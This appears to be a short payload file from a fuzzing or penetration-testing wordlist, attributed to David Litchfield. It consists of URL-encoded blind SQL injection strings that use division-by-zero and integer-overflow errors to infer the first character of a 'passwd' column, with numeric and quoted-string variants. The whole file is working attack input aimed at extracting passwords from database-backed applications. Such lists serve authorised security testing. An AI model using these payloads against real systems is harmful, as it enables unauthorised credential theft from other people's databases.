# Not sure of original source
#  attributed to David Litchfield
#
234+%2B+%281+%2F+ASCII%28substring%28passwd%2C1%2C1%29%29-4%29
foo%27+%2B+%281+%2F+ASCII%28substring%28passwd%2C1%2C1%29%29-4%29--

456+%2B+ASCII%28substring%28passwd%2C1%2C1%29%29-10
foo%27%2B+ASCII%28substring%28passwd%2C1%2C1%29%29-10--

# overflow
123%2B+%28%280+%2F+ascii%28substring%28passwd%2C1%2C1%29%29+%2A+4294967296%29